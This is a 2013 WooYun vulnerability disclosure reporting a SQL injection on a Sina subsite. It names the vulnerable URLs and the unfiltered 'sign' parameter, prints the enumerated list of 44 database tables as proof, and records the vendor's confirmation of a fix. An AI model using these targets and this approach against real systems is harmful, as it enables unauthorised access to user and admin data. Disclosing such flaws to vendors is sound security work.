当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-042057

漏洞标题：新浪某分站SQL注入漏洞(部分用户信息泄漏)

相关厂商：新浪

漏洞作者： xlz0iza1

提交时间：2013-11-05 16:19

修复时间：2013-12-20 16:20

公开时间：2013-12-20 16:20

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-05： 细节已通知厂商并且等待厂商处理中
2013-11-05： 厂商已经确认，细节仅向厂商公开
2013-11-15： 细节向核心白帽子及相关领域专家公开
2013-11-25： 细节向普通白帽子公开
2013-12-05： 细节向实习白帽子公开
2013-12-20： 细节向公众公开

简要描述：

新浪某分站SQL注入(用户信息泄漏)

详细说明：

WooYun: 新浪一处POST注射身份证号码侧漏
这里了还有一处sql注入漏洞.
#1：
http://city2010.house.sina.com.cn/vote.php?jsonp=?&callback=?&gid=
http://city2010.house.sina.com.cn/52shanghai/comment.php?fid=6&sign=10000170&city=

QQ图片20131105140148.jpg


sign=10000170 没有进行过滤！

漏洞证明：

Database: city2010_house_sina_
[44 tables]
+------------------------+
| 52shanghai_admin_group |
| 52shanghai_admin_staff |
| 52shanghai_gallery     |
| 52shanghai_logpage     |
| 52shanghai_photo       |
| 52shanghai_rank        |
| 52shanghai_rank_log    |
| 52shanghai_recommend   |
| 52shanghai_user        |
| citylife_admin_group   |
| citylife_admin_staff   |
| citylife_collect       |
| citylife_comments      |
| citylife_developer     |
| citylife_fans          |
| citylife_gallery       |
| citylife_logdb         |
| citylife_logpage       |
| citylife_mms           |
| citylife_photo         |
| citylife_rank          |
| citylife_rank_log      |
| citylife_recommend     |
| citylife_state         |
| citylife_tag           |
| citylife_user          |
| green_admin_group      |
| green_admin_staff      |
| green_gallery          |
| green_logpage          |
| green_photo            |
| green_rank             |
| green_rank_log         |
| green_recommend        |
| green_user             |
| review_authors         |
| review_galleries       |
| review_grades          |
| review_photos          |
| review_projects        |
| review_roles           |
| review_roles_users     |
| review_users           |
| review_users_projects  |
+------------------------+


QQ图片20131105140148.jpg


QQ图片20131105140950.jpg


修复方案：

亲,过滤不严格哦,求礼物.嘎嘎。

版权声明：转载请注明来源 xlz0iza1@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2013-11-05 17:43

厂商回复：

感谢关注新浪安全，马上安排相关人员进行修复

最新状态：

暂无